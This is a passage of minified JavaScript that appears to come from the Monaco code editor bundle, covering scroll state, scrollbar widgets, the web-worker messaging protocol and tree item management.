t=this.width!==e.width,n=this.scrollWidth!==e.scrollWidth,i=this.scrollLeft!==e.scrollLeft,o=this.height!==e.height,r=this.scrollHeight!==e.scrollHeight,s=this.scrollTop!==e.scrollTop;return{width:this.width,scrollWidth:this.scrollWidth,scrollLeft:this.scrollLeft,height:this.height,scrollHeight:this.scrollHeight,scrollTop:this.scrollTop,widthChanged:t,scrollWidthChanged:n,scrollLeftChanged:i,heightChanged:o,scrollHeightChanged:r,scrollTopChanged:s}},e}();t.ScrollState=o;var r=function(e){function t(){var t=e.call(this)||this;return t._onScroll=t._register(new i.Emitter),t.onScroll=t._onScroll.event,t._state=new o(0,0,0,0,0,0),t}return f(t,e),t.prototype.getState=function(){return this._state},t.prototype.validateScrollTop=function(e){return e=Math.round(e),e=Math.max(e,0),e=Math.min(e,this._state.scrollHeight-this._state.height)},t.prototype.validateScrollLeft=function(e){return e=Math.round(e),e=Math.max(e,0),e=Math.min(e,this._state.scrollWidth-this._state.width)},t.prototype.updateState=function(e){var t=this._state,n=new o(void 0!==e.width?e.width:t.width,void 0!==e.scrollWidth?e.scrollWidth:t.scrollWidth,void 0!==e.scrollLeft?e.scrollLeft:t.scrollLeft,void 0!==e.height?e.height:t.height,void 0!==e.scrollHeight?e.scrollHeight:t.scrollHeight,void 0!==e.scrollTop?e.scrollTop:t.scrollTop);t.equals(n)||(this._state=n,this._onScroll.fire(this._state.createScrollEvent(t)))},t}(n.Disposable);t.Scrollable=r}),define(d[429],h([1,0,3,18,48]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(e){function t(t,n,o){var r=e.call(this)||this;return r._visibility=t,r._visibleClassName=n,r._invisibleClassName=o,r._domNode=null,r._isVisible=!1,r._isNeeded=!1,r._shouldBeVisible=!1,r._revealTimer=r._register(new i.TimeoutTimer),r}return f(t,e),t.prototype.applyVisibilitySetting=function(e){return this._visibility!==o.ScrollbarVisibility.Hidden&&(this._visibility===o.ScrollbarVisibility.Visible||e)},t.prototype.setShouldBeVisible=function(e){var t=this.applyVisibilitySetting(e);this._shouldBeVisible!==t&&(this._shouldBeVisible=t,this.ensureVisibility())},t.prototype.setIsNeeded=function(e){this._isNeeded!==e&&(this._isNeeded=e,this.ensureVisibility())},t.prototype.setDomNode=function(e){this._domNode=e,this._domNode.setClassName(this._invisibleClassName),this.setShouldBeVisible(!1)},t.prototype.ensureVisibility=function(){this._isNeeded?this._shouldBeVisible?this._reveal():this._hide(!0):this._hide(!1)},t.prototype._reveal=function(){var e=this;this._isVisible||(this._isVisible=!0,this._revealTimer.setIfNotSet(function(){e._domNode.setClassName(e._visibleClassName)},0))},t.prototype._hide=function(e){this._revealTimer.cancel(),this._isVisible&&(this._isVisible=!1,this._domNode.setClassName(this._invisibleClassName+(e?\" fade\":\"\")))},t}(n.Disposable);t.ScrollbarVisibilityController=r}),define(d[184],h([1,0,15,4,83,41,27,117,429]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(e){function t(t){var n=e.call(this)||this;return n._lazyRender=t.lazyRender,n._host=t.host,n._scrollable=t.scrollable,n._scrollbarState=t.scrollbarState,n._visibilityController=n._register(new u.ScrollbarVisibilityController(t.visibility,\"visible scrollbar \"+t.extraScrollbarClassName,\"invisible scrollbar \"+t.extraScrollbarClassName)),n._mouseMoveMonitor=n._register(new o.GlobalMouseMoveMonitor),n._shouldRender=!0,n.domNode=s.createFastDomNode(document.createElement(\"div\")),n.domNode.setAttribute(\"role\",\"presentation\"),n.domNode.setAttribute(\"aria-hidden\",\"true\"),n._visibilityController.setDomNode(n.domNode),n.domNode.setPosition(\"absolute\"),n.onmousedown(n.domNode.domNode,function(e){return n._domNodeMouseDown(e)}),n}return f(t,e),t.prototype._createArrow=function(e){var t=this._register(new a.ScrollbarArrow(e));this.domNode.domNode.appendChild(t.bgDomNode),this.domNode.domNode.appendChild(t.domNode)},t.prototype._createSlider=function(e,t,n,i){var o=this;this.slider=s.createFastDomNode(document.createElement(\"div\")),this.slider.setClassName(\"slider\"),this.slider.setPosition(\"absolute\"),this.slider.setTop(e),this.slider.setLeft(t),this.slider.setWidth(n),this.slider.setHeight(i),this.slider.setLayerHinting(!0),this.domNode.domNode.appendChild(this.slider.domNode),this.onmousedown(this.slider.domNode,function(e){e.leftButton&&(e.preventDefault(),o._sliderMouseDown(e,function(){}))})},t.prototype._onElementSize=function(e){return this._scrollbarState.setVisibleSize(e)&&(this._visibilityController.setIsNeeded(this._scrollbarState.isNeeded()),this._shouldRender=!0,this._lazyRender||this.render()),this._shouldRender},t.prototype._onElementScrollSize=function(e){return this._scrollbarState.setScrollSize(e)&&(this._visibilityController.setIsNeeded(this._scrollbarState.isNeeded()),this._shouldRender=!0,this._lazyRender||this.render()),this._shouldRender},t.prototype._onElementScrollPosition=function(e){return this._scrollbarState.setScrollPosition(e)&&(this._visibilityController.setIsNeeded(this._scrollbarState.isNeeded()),this._shouldRender=!0,this._lazyRender||this.render()),this._shouldRender},t.prototype.beginReveal=function(){this._visibilityController.setShouldBeVisible(!0)},t.prototype.beginHide=function(){this._visibilityController.setShouldBeVisible(!1)},t.prototype.render=function(){this._shouldRender&&(this._shouldRender=!1,this._renderDomNode(this._scrollbarState.getRectangleLargeSize(),this._scrollbarState.getRectangleSmallSize()),this._updateSlider(this._scrollbarState.getSliderSize(),this._scrollbarState.getArrowSize()+this._scrollbarState.getSliderPosition()))},t.prototype._domNodeMouseDown=function(e){e.target===this.domNode.domNode&&this._onMouseDown(e)},t.prototype.delegateMouseDown=function(e){var t=this.domNode.domNode.getClientRects()[0].top,n=t+this._scrollbarState.getSliderPosition(),i=t+this._scrollbarState.getSliderPosition()+this._scrollbarState.getSliderSize(),o=this._sliderMousePosition(e);n<=o&&o<=i?e.leftButton&&(e.preventDefault(),this._sliderMouseDown(e,function(){})):this._onMouseDown(e)},t.prototype.delegateSliderMouseDown=function(e,t){this._sliderMouseDown(e,t)},t.prototype._onMouseDown=function(e){var t=i.getDomNodePagePosition(this.domNode.domNode);this.setDesiredScrollPosition(this._scrollbarState.getDesiredScrollPositionFromOffset(this._mouseDownRelativePosition(e,t))),e.leftButton&&(e.preventDefault(),this._sliderMouseDown(e,function(){}))},t.prototype._sliderMouseDown=function(e,t){var i=this,r=this._sliderMousePosition(e),s=this._sliderOrthogonalMousePosition(e),a=this._scrollbarState.clone();this.slider.toggleClassName(\"active\",!0),this._mouseMoveMonitor.startMonitoring(o.standardMouseMoveMerger,function(e){var t=i._sliderOrthogonalMousePosition(e),o=Math.abs(t-s);if(n.isWindows&&o>140)i.setDesiredScrollPosition(a.getScrollPosition());else{var u=i._sliderMousePosition(e)-r;i.setDesiredScrollPosition(a.getDesiredScrollPositionFromDelta(u))}},function(){i.slider.toggleClassName(\"active\",!1),i._host.onDragEnd(),t()}),this._host.onDragStart()},t.prototype.setDesiredScrollPosition=function(e){e=this.validateScrollPosition(e);var t=this._getScrollPosition();return this._setScrollPosition(e),t!==this._getScrollPosition()&&(this._onElementScrollPosition(this._getScrollPosition()),!0)},t}(r.Widget);t.AbstractScrollbar=l}),define(d[439],h([1,0,184,47,48,150,117]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(e){function t(t,n,a){var u=e.call(this,{lazyRender:n.lazyRender,host:a,scrollbarState:new r.ScrollbarState(n.horizontalHasArrows?n.arrowSize:0,n.horizontal===o.ScrollbarVisibility.Hidden?0:n.horizontalScrollbarSize,n.vertical===o.ScrollbarVisibility.Hidden?0:n.verticalScrollbarSize),visibility:n.horizontal,extraScrollbarClassName:\"horizontal\",scrollable:t})||this;if(n.horizontalHasArrows){var l=(n.arrowSize-s.ARROW_IMG_SIZE)/2,c=(n.horizontalScrollbarSize-s.ARROW_IMG_SIZE)/2;u._createArrow({className:\"left-arrow\",top:c,left:l,bottom:void 0,right:void 0,bgWidth:n.arrowSize,bgHeight:n.horizontalScrollbarSize,onActivate:function(){return u._host.onMouseWheel(new i.StandardMouseWheelEvent(null,1,0))}}),u._createArrow({className:\"right-arrow\",top:c,left:void 0,bottom:void 0,right:l,bgWidth:n.arrowSize,bgHeight:n.horizontalScrollbarSize,onActivate:function(){return u._host.onMouseWheel(new i.StandardMouseWheelEvent(null,-1,0))}})}return u._createSlider(Math.floor((n.horizontalScrollbarSize-n.horizontalSliderSize)/2),0,null,n.horizontalSliderSize),u}return f(t,e),t.prototype._updateSlider=function(e,t){this.slider.setWidth(e),this.slider.setLeft(t)},t.prototype._renderDomNode=function(e,t){this.domNode.setWidth(e),this.domNode.setHeight(t),this.domNode.setLeft(0),this.domNode.setBottom(0)},t.prototype.onDidScroll=function(e){return this._shouldRender=this._onElementScrollSize(e.scrollWidth)||this._shouldRender,this._shouldRender=this._onElementScrollPosition(e.scrollLeft)||this._shouldRender,this._shouldRender=this._onElementSize(e.width)||this._shouldRender,this._shouldRender},t.prototype._mouseDownRelativePosition=function(e,t){return e.posx-t.left},t.prototype._sliderMousePosition=function(e){return e.posx},t.prototype._sliderOrthogonalMousePosition=function(e){return e.posy},t.prototype._getScrollPosition=function(){return this._scrollable.getState().scrollLeft},t.prototype._setScrollPosition=function(e){this._scrollable.updateState({scrollLeft:e})},t.prototype.validateScrollPosition=function(e){return this._scrollable.validateScrollLeft(e)},t}(n.AbstractScrollbar);t.HorizontalScrollbar=a}),define(d[440],h([1,0,184,47,48,150,117]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(e){function t(t,n,a){var u=e.call(this,{lazyRender:n.lazyRender,host:a,scrollbarState:new r.ScrollbarState(n.verticalHasArrows?n.arrowSize:0,n.vertical===o.ScrollbarVisibility.Hidden?0:n.verticalScrollbarSize,0),visibility:n.vertical,extraScrollbarClassName:\"vertical\",scrollable:t})||this;if(n.verticalHasArrows){var l=(n.arrowSize-s.ARROW_IMG_SIZE)/2,c=(n.verticalScrollbarSize-s.ARROW_IMG_SIZE)/2;u._createArrow({className:\"up-arrow\",top:l,left:c,bottom:void 0,right:void 0,bgWidth:n.verticalScrollbarSize,bgHeight:n.arrowSize,onActivate:function(){return u._host.onMouseWheel(new i.StandardMouseWheelEvent(null,0,1))}}),u._createArrow({className:\"down-arrow\",top:void 0,left:c,bottom:l,right:void 0,bgWidth:n.verticalScrollbarSize,bgHeight:n.arrowSize,onActivate:function(){return u._host.onMouseWheel(new i.StandardMouseWheelEvent(null,0,-1))}})}return u._createSlider(0,Math.floor((n.verticalScrollbarSize-n.verticalSliderSize)/2),n.verticalSliderSize,null),u}return f(t,e),t.prototype._updateSlider=function(e,t){this.slider.setHeight(e),this.slider.setTop(t)},t.prototype._renderDomNode=function(e,t){this.domNode.setWidth(t),this.domNode.setHeight(e),this.domNode.setRight(0),this.domNode.setTop(0)},t.prototype.onDidScroll=function(e){return this._shouldRender=this._onElementScrollSize(e.scrollHeight)||this._shouldRender,this._shouldRender=this._onElementScrollPosition(e.scrollTop)||this._shouldRender,this._shouldRender=this._onElementSize(e.height)||this._shouldRender,this._shouldRender},t.prototype._mouseDownRelativePosition=function(e,t){return e.posy-t.top},t.prototype._sliderMousePosition=function(e){return e.posy},t.prototype._sliderOrthogonalMousePosition=function(e){return e.posx},t.prototype._getScrollPosition=function(){return this._scrollable.getState().scrollTop},t.prototype._setScrollPosition=function(e){this._scrollable.updateState({scrollTop:e})},t.prototype.validateScrollPosition=function(e){return this._scrollable.validateScrollTop(e)},t}(n.AbstractScrollbar);t.VerticalScrollbar=a}),define(d[197],h([1,0,10,3,7,18,15]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=\"$initialize\",u=!1;t.logOnceWebWorkerWarning=function(e){s.isWeb&&(u||(u=!0,console.warn(\"Could not create web worker(s). Falling back to loading web worker code in main thread, which might cause UI freezes. Please see https://github.com/Microsoft/monaco-editor#faq\")),console.warn(e.message))};var l=function(){function e(e){this._workerId=-1,this._handler=e,this._lastSentReq=0,this._pendingReplies=Object.create(null)}return e.prototype.setWorkerId=function(e){this._workerId=e},e.prototype.sendMessage=function(e,t){var n=String(++this._lastSentReq),i={c:null,e:null},r=new o.TPromise(function(e,t,n){i.c=e,i.e=t},function(){});return this._pendingReplies[n]=i,this._send({vsWorker:this._workerId,req:n,method:e,args:t}),r},e.prototype.handleMessage=function(e){var t;try{t=JSON.parse(e)}catch(e){}t.vsWorker&&(-1!==this._workerId&&t.vsWorker!==this._workerId||this._handleMessage(t))},e.prototype._handleMessage=function(e){var t=this;if(e.seq){var i=e;if(!this._pendingReplies[i.seq])return void console.warn(\"Got reply to unknown seq\");var o=this._pendingReplies[i.seq];if(delete this._pendingReplies[i.seq],i.err){var r=i.err;return i.err.$isError&&((r=new Error).name=i.err.name,r.message=i.err.message,r.stack=i.err.stack),void o.e(r)}o.c(i.res)}else{var s=e,a=s.req;this._handler.handleMessage(s.method,s.args).then(function(e){t._send({vsWorker:t._workerId,seq:a,res:e,err:void 0})},function(e){t._send({vsWorker:t._workerId,seq:a,res:void 0,err:n.transformErrorForSerialization(e)})})}},e.prototype._send=function(e){var t=JSON.stringify(e);this._handler.sendMessage(t)},e}(),c=function(e){function t(t,n){var i=e.call(this)||this;i._lastRequestTimestamp=-1;var r=null,s=null;i._worker=i._register(t.create(\"vs/base/common/worker/simpleWorker\",function(e){i._protocol.handleMessage(e)},function(e){s(e)})),i._protocol=new l({sendMessage:function(e){i._worker.postMessage(e)},handleMessage:function(e,t){return o.TPromise.as(null)}}),i._protocol.setWorkerId(i._worker.getId());var u=null,c=self.require;\"function\"==typeof c.getConfig?u=c.getConfig():void 0!==self.requirejs&&(u=self.requirejs.s.contexts._.config),i._lazyProxy=new o.TPromise(function(e,t,n){r=e,s=t},function(){}),i._onModuleLoaded=i._protocol.sendMessage(a,[i._worker.getId(),n,u]),i._onModuleLoaded.then(function(e){for(var t={},n=0;n<e.length;n++)t[e[n]]=h(e[n],d);r(t)},function(e){s(e),i._onError(\"Worker failed to load \"+n,e)});var d=function(e,t){return i._request(e,t)},h=function(e,t){return function(){var n=Array.prototype.slice.call(arguments,0);return t(e,n)}};return i}return f(t,e),t.prototype.getProxyObject=function(){return new r.ShallowCancelThenPromise(this._lazyProxy)},t.prototype.getLastRequestTimestamp=function(){return this._lastRequestTimestamp},t.prototype._request=function(e,t){var n=this;return new o.TPromise(function(i,o,r){n._onModuleLoaded.then(function(){n._lastRequestTimestamp=Date.now(),n._protocol.sendMessage(e,t).then(i,o)},o)},function(){})},t.prototype._onError=function(e,t){console.error(e),console.info(t)},t}(i.Disposable);t.SimpleWorkerClient=c;var d=function(){function t(e){var t=this;this._protocol=new l({sendMessage:function(t){e(t)},handleMessage:function(e,n){return t._handleMessage(e,n)}})}return t.prototype.onmessage=function(e){this._protocol.handleMessage(e)},t.prototype._handleMessage=function(e,t){if(e===a)return this.initialize(t[0],t[1],t[2]);if(!this._requestHandler||\"function\"!=typeof this._requestHandler[e])return o.TPromise.wrapError(new Error(\"Missing requestHandler or method: \"+e));try{return o.TPromise.as(this._requestHandler[e].apply(this._requestHandler,t))}catch(e){return o.TPromise.wrapError(e)}},t.prototype.initialize=function(t,n,i){var r=this;if(this._protocol.setWorkerId(t),i){void 0!==i.baseUrl&&delete i.baseUrl,void 0!==i.paths&&void 0!==i.paths.vs&&delete i.paths.vs;var s=i[\"vs/nls\"];s&&s.pseudo&&e([\"vs/nls\"],function(e){e.setPseudoTranslation(s.pseudo)}),i.catchError=!0,self.require.config(i)}var a,u,l=new o.TPromise(function(e,t,n){a=e,u=t});return self.require([n],function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=e[0];r._requestHandler=n.create();var i=[];for(var o in r._requestHandler)\"function\"==typeof r._requestHandler[o]&&i.push(o);a(i)},u),l},t}();t.SimpleWorkerServer=d,t.create=function(e){return new d(e)}}),define(d[445],h([1,0,7,29]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e){this.modelProvider=i.isFunction(e.getModel)?e:{getModel:function(){return e}}}return e.prototype.getId=function(e,t){if(!t)return null;var n=this.modelProvider.getModel();return n===t?\"__root__\":n.dataSource.getId(t)},e.prototype.hasChildren=function(e,t){var n=this.modelProvider.getModel();return n&&n===t&&n.entries.length>0},e.prototype.getChildren=function(e,t){var i=this.modelProvider.getModel();return n.TPromise.as(i===t?i.entries:[])},e.prototype.getParent=function(e,t){return n.TPromise.as(null)},e}();t.DataSource=o;var r=function(){function e(e){this.modelProvider=e}return e.prototype.getAriaLabel=function(e,t){var n=this.modelProvider.getModel();return n.accessibilityProvider&&n.accessibilityProvider.getAriaLabel(t)},e.prototype.getPosInSet=function(e,t){var n=this.modelProvider.getModel();return String(n.entries.indexOf(t)+1)},e.prototype.getSetSize=function(){var e=this.modelProvider.getModel();return String(e.entries.length)},e}();t.AccessibilityProvider=r;var s=function(){function e(e){this.modelProvider=e}return e.prototype.isVisible=function(e,t){var n=this.modelProvider.getModel();return!n.filter||n.filter.isVisible(t)},e}();t.Filter=s;var a=function(){function e(e,t){this.modelProvider=e,this.styles=t}return e.prototype.updateStyles=function(e){this.styles=e},e.prototype.getHeight=function(e,t){return this.modelProvider.getModel().renderer.getHeight(t)},e.prototype.getTemplateId=function(e,t){return this.modelProvider.getModel().renderer.getTemplateId(t)},e.prototype.renderTemplate=function(e,t,n){return this.modelProvider.getModel().renderer.renderTemplate(t,n,this.styles)},e.prototype.renderElement=function(e,t,n,i){this.modelProvider.getModel().renderer.renderElement(t,n,i,this.styles)},e.prototype.disposeTemplate=function(e,t,n){this.modelProvider.getModel().renderer.disposeTemplate(t,n)},e}();t.Renderer=a}),define(d[100],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.PREVIEW=0]=\"PREVIEW\",e[e.OPEN=1]=\"OPEN\",e[e.OPEN_IN_BACKGROUND=2]=\"OPEN_IN_BACKGROUND\"}(t.Mode||(t.Mode={}))}),define(d[448],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t,n){this._posx=e,this._posy=t,this._target=n}return e.prototype.preventDefault=function(){},e.prototype.stopPropagation=function(){},Object.defineProperty(e.prototype,\"posx\",{get:function(){return this._posx},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"posy\",{get:function(){return this._posy},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"target\",{get:function(){return this._target},enumerable:!0,configurable:!0}),e}();t.ContextMenuEvent=n;var i=function(e){function t(t){var n=e.call(this,t.posx,t.posy,t.target)||this;return n.originalEvent=t,n}return f(t,e),t.prototype.preventDefault=function(){this.originalEvent.preventDefault()},t.prototype.stopPropagation=function(){this.originalEvent.stopPropagation()},t}(n);t.MouseContextMenuEvent=i;var o=function(e){function t(t,n,i){var o=e.call(this,t,n,i.target)||this;return o.originalEvent=i,o}return f(t,e),t.prototype.preventDefault=function(){this.originalEvent.preventDefault()},t.prototype.stopPropagation=function(){this.originalEvent.stopPropagation()},t}(n);t.KeyboardContextMenuEvent=o;var r;!function(e){e[e.COPY=0]=\"COPY\",e[e.MOVE=1]=\"MOVE\"}(r=t.DragOverEffect||(t.DragOverEffect={}));var s;!function(e){e[e.BUBBLE_DOWN=0]=\"BUBBLE_DOWN\",e[e.BUBBLE_UP=1]=\"BUBBLE_UP\"}(s=t.DragOverBubble||(t.DragOverBubble={})),t.DRAG_OVER_REJECT={accept:!1},t.DRAG_OVER_ACCEPT={accept:!0},t.DRAG_OVER_ACCEPT_BUBBLE_UP={accept:!0,bubble:s.BUBBLE_UP},t.DRAG_OVER_ACCEPT_BUBBLE_DOWN=function(e){return void 0===e&&(e=!1),{accept:!0,bubble:s.BUBBLE_DOWN,autoExpand:e}},t.DRAG_OVER_ACCEPT_BUBBLE_UP_COPY={accept:!0,bubble:s.BUBBLE_UP,effect:r.COPY},t.DRAG_OVER_ACCEPT_BUBBLE_DOWN_COPY=function(e){return void 0===e&&(e=!1),{accept:!0,bubble:s.BUBBLE_DOWN,effect:r.COPY,autoExpand:e}}}),define(d[461],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e){this.elements=e}return e.prototype.update=function(e){},e.prototype.getData=function(){return this.elements},e}();t.ElementsDragAndDropData=n;var i=function(){function e(e){this.elements=e}return e.prototype.update=function(e){},e.prototype.getData=function(){return this.elements},e}();t.ExternalElementsDragAndDropData=i;var o=function(){function e(){this.types=[],this.files=[]}return e.prototype.update=function(e){e.dataTransfer.types&&(this.types=[],Array.prototype.push.apply(this.types,e.dataTransfer.types)),e.dataTransfer.files&&(this.files=[],Array.prototype.push.apply(this.files,e.dataTransfer.files),this.files=this.files.filter(function(e){return e.size||e.type}))},e.prototype.getData=function(){return{types:this.types,files:this.files}},e}();t.DesktopDragAndDropData=o}),define(d[466],h([1,0,72,10,3,33,38,7]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e,t){for(var n=e.getHierarchy(),i=t.getHierarchy(),o=n[r.commonPrefixLength(n,i)-1],s=o.getNavigator(),a=null,u=null,l=0,c=[];o&&(null===a||null===u);)c.push(o),o===e&&(a=l),o===t&&(u=l),l++,o=s.next();if(null===a||null===u)return[];var d=Math.min(a,u),h=Math.max(a,u);return c.slice(d,h+1)}Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(e){function t(t){var n=e.call(this)||this;return n._item=t,n}return f(t,e),Object.defineProperty(t.prototype,\"item\",{get:function(){return this._item},enumerable:!0,configurable:!0}),t.prototype.dispose=function(){this.emit(\"unlock\"),e.prototype.dispose.call(this)},t}(s.EventEmitter);t.LockData=l;var c=function(){function e(){this.locks=Object.create({})}return e.prototype.isLocked=function(e){return!!this.locks[e.id]},e.prototype.run=function(e,t){var n=this,i=this.getLock(e);if(i){var o;return new a.TPromise(function(r,s){o=i.addOneTimeListener(\"unlock\",function(){return n.run(e,t).then(r,s)})},function(){o.dispose()})}var r;return new a.TPromise(function(i,o){if(e.isDisposed())return o(new Error(\"Item is disposed.\"));var s=n.locks[e.id]=new l(e);return r=t().then(function(t){return delete n.locks[e.id],s.dispose(),t}).then(i,o)},function(){return r.cancel()})},e.prototype.getLock=function(e){var t;for(t in this.locks){var n=this.locks[t];if(e.intersects(n.item))return n}return null},e}();t.Lock=c;var d=function(e){function t(){var t=e.call(this)||this;return t._isDisposed=!1,t.items={},t}return f(t,e),t.prototype.register=function(e){n.ok(!this.isRegistered(e.id),\"item already registered: \"+e.id),this.items[e.id]={item:e,disposable:this.addEmitter(e)}},t.prototype.deregister=function(e){n.ok(this.isRegistered(e.id),\"item not registered: \"+e.id),this.items[e.id].disposable.dispose(),delete this.items[e.id]},t.prototype.isRegistered=function(e){return this.items.hasOwnProperty(e)},t.prototype.getItem=function(e){var t=this.items[e];return t?t.item:null},t.prototype.dispose=function(){e.prototype.dispose.call(this),this.items=null,this._isDisposed=!0},t.prototype.isDisposed=function(){return this._isDisposed},t}(s.EventEmitter);t.ItemRegistry=d;var h=function(e){function t(t,n,i,o,r){var s=e.call(this)||this;return s.registry=n,s.context=i,s.lock=o,s.element=r,s.id=t,s.registry.register(s),s.doesHaveChildren=s.context.dataSource.hasChildren(s.context.tree,s.element),s.needsChildrenRefresh=!0,s.parent=null,s.previous=null,s.next=null,s.firstChild=null,s.lastChild=null,s.userContent=null,s.traits={},s.depth=0,s.expanded=s.context.dataSource.shouldAutoexpand&&s.context.dataSource.shouldAutoexpand(s.context.tree,r),s.emit(\"item:create\",{item:s}),s.visible=s._isVisible(),s.height=s._getHeight(),s._isDisposed=!1,s}return f(t,e),t.prototype.getElement=function(){return this.element},t.prototype.hasChildren=function(){return this.doesHaveChildren},t.prototype.getDepth=function(){return this.depth},t.prototype.isVisible=function(){return this.visible},t.prototype.setVisible=function(e){this.visible=e},t.prototype.isExpanded=function(){return this.expanded},t.prototype._setExpanded=function(e){this.expanded=e},t.prototype.reveal=function(e){void 0===e&&(e=null);var t={item:this,relativeTop:e};this.emit(\"item:reveal\",t)},t.prototype.expand=function(){var e=this;return this.isExpanded()||!this.doesHaveChildren||this.lock.isLocked(this)?a.TPromise.as(!1):this.lock.run(this,function(){var t={item:e};return e.emit(\"item:expanding\",t),(e.needsChildrenRefresh?e.refreshChildren(!1,!0,!0):a.TPromise.as(null)).then(function(){return e._setExpanded(!0),e.emit(\"item:expanded\",t),!0})}).then(function(t){return!e.isDisposed()&&(e.context.options.autoExpandSingleChildren&&t&&null!==e.firstChild&&e.firstChild===e.lastChild&&e.firstChild.isVisible()?e.firstChild.expand().then(function(){return!0}):t)})},t.prototype.collapse=function(e){var t=this;if(void 0===e&&(e=!1),e){var n=a.TPromise.as(null);return this.forEachChild(function(e){n=n.then(function(){return e.collapse(!0)})}),n.then(function(){return t.collapse(!1)})}return!this.isExpanded()||this.lock.isLocked(this)?a.TPromise.as(!1):this.lock.run(this,function(){var e={item:t};return t.emit(\"item:collapsing\",e),t._setExpanded(!1),t.emit(\"item:collapsed\",e),a.TPromise.as(!0)})},t.prototype.addTrait=function(e){var t={item:this,trait:e};this.traits[e]=!0,this.emit(\"item:addTrait\",t)},t.prototype.removeTrait=function(e){var t={item:this,trait:e};delete this.traits[e],this.emit(\"item:removeTrait\",t)},t.prototype.hasTrait=function(e){return this.traits[e]||!1},t.prototype.getAllTraits=function(){var e,t=[];for(e in this.traits)this.traits.hasOwnProperty(e)&&this.traits[e]&&t.push(e);return t},t.prototype.getHeight=function(){return this.height},t.prototype.refreshChildren=function(e,n,o){var r=this;if(void 0===n&&(n=!1),void 0===o&&(o=!1),!o&&!this.isExpanded())return this.needsChildrenRefresh=!0,a.TPromise.as(this);this.needsChildrenRefresh=!1;var s=function(){var o={item:r,isNested:n};r.emit(\"item:childrenRefreshing\",o);return(r.doesHaveChildren?r.context.dataSource.getChildren(r.context.tree,r.element):a.TPromise.as([])).then(function(n){if(r.isDisposed()||r.registry.isDisposed())return a.TPromise.as(null);if(!Array.isArray(n))return a.TPromise.wrapError(new Error(\"Please return an array of children.\"));n=n?n.slice(0):[],n=r.sort(n);for(var i={};null!==r.firstChild;)i[r.firstChild.id]=r.firstChild,r.removeChild(r.firstChild);for(var o=0,s=n.length;o<s;o++){var u=n[o],l=r.context.dataSource.getId(r.context.tree,u),c=i[l]||new t(l,r.registry,r.context,r.lock,u);c.element=u,e&&(c.needsChildrenRefresh=e),delete i[l],r.addChild(c)}for(var d in i)i.hasOwnProperty(d)&&i[d].dispose();return e?a.Promise.join(r.mapEachChild(function(t){return t.doRefresh(e,!0)})):a.TPromise.as(null)}).then(null,i.onUnexpectedError).then(function(){return r.emit(\"item:childrenRefreshed\",o)})};return n?s():this.lock.run(this,s)},t.prototype.doRefresh=function(e,t){void 0===t&&(t=!1);var n={item:this};return this.doesHaveChildren=this.context.dataSource.hasChildren(this.context.tree,this.element),this.height=this._getHeight(),this.setVisible(this._isVisible()),this.emit(\"item:refresh\",n),this.refreshChildren(e,t)},t.prototype.refresh=function(e){return this.doRefresh(e)},t.prototype.getNavigator=function(){return new g(this)},t.prototype.intersects=function(e){return this.isAncestorOf(e)||e.isAncestorOf(this)},t.prototype.getHierarchy=function(){var e=[],t=this;do{e.push(t),t=t.parent}while(t);return e.reverse(),e},t.prototype.isAncestorOf=function(e){for(;e;){if(e.id===this.id)return!0;e=e.parent}return!1},t.prototype.addChild=function(e,t){void 0===t&&(t=this.lastChild);var n=null===this.firstChild,i=null===t,o=t===this.lastChild;n?(this.firstChild=this.lastChild=e,e.next=e.previous=null):i?(this.firstChild.previous=e,e.next=this.firstChild,e.previous=null,this.firstChild=e):o?(this.lastChild.next=e,e.next=null,e.previous=this.lastChild,this.lastChild=e):(e.previous=t,e.next=t.next,t.next.previous=e,t.next=e),e.parent=this,e.depth=this.depth+1},t.prototype.removeChild=function(e){var t=this.firstChild===e,n=this.lastChild===e;t&&n?this.firstChild=this.lastChild=null:t?(e.next.previous=null,this.firstChild=e.next):n?(e.previous.next=null,this.lastChild=e.previous):(e.next.previous=e.previous,e.previous.next=e.next),e.parent=null,e.depth=null},t.prototype.forEachChild=function(e){for(var t,n=this.firstChild;n;)t=n.next,e(n),n=t},t.prototype.mapEachChild=function(e){var t=[];return this.forEachChild(function(n){t.push(e(n))}),t},t.prototype.sort=function(e){var t=this;return this.context.sorter?e.sort(function(e,n){return t.context.sorter.compare(t.context.tree,e,n)}):e},t.prototype._getHeight=function(){return this.context.renderer.getHeight(this.context.tree,this.element)},t.prototype._isVisible=function(){return this.context.filter.isVisible(this.context.tree,this.element)},t.prototype.isDisposed=function(){return this._isDisposed},t.prototype.dispose=function(){this.forEachChild(function(e){return e.dispose()}),this.parent=null,this.previous=null,this.next=null,this.firstChild=null,this.lastChild=null;var t={item:this};this.emit(\"item:dispose\",t),this.registry.deregister(this),e.prototype.dispose.call(this),this._isDisposed=!0},t}(s.EventEmitter);t.Item=h;var p=function(e){function t(t,n,i,o,r){return e.call(this,t,n,i,o,r)||this}return f(t,e),t.prototype.isVisible=function(){return!1},t.prototype.setVisible=function(e){},t.prototype.isExpanded=function(){return!0},t.prototype._setExpanded=function(e){},t.prototype.render=function(){},t.prototype._getHeight=function(){return 0},t.prototype._isVisible=function(){return!1},t}(h),g=function(){function e(e,t){void 0===t&&(t=!0),this.item=e,this.start=t?e:null}return e.lastDescendantOf=function(t){return t?t instanceof p||t.isVisible()&&t.isExpanded()&&null!==t.lastChild?e.lastDescendantOf(t.lastChild):t:null},e.prototype.current=function(){return this.item||null},e.prototype.next=function(){if(this.item)do{if((this.item instanceof 